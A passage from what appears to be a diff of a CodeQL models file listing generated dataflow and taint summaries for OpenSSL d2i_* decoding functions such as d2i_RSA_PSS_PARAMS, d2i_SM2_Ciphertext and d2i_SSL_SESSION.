**)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_bio", "(BIO *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSAPublicKey_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char 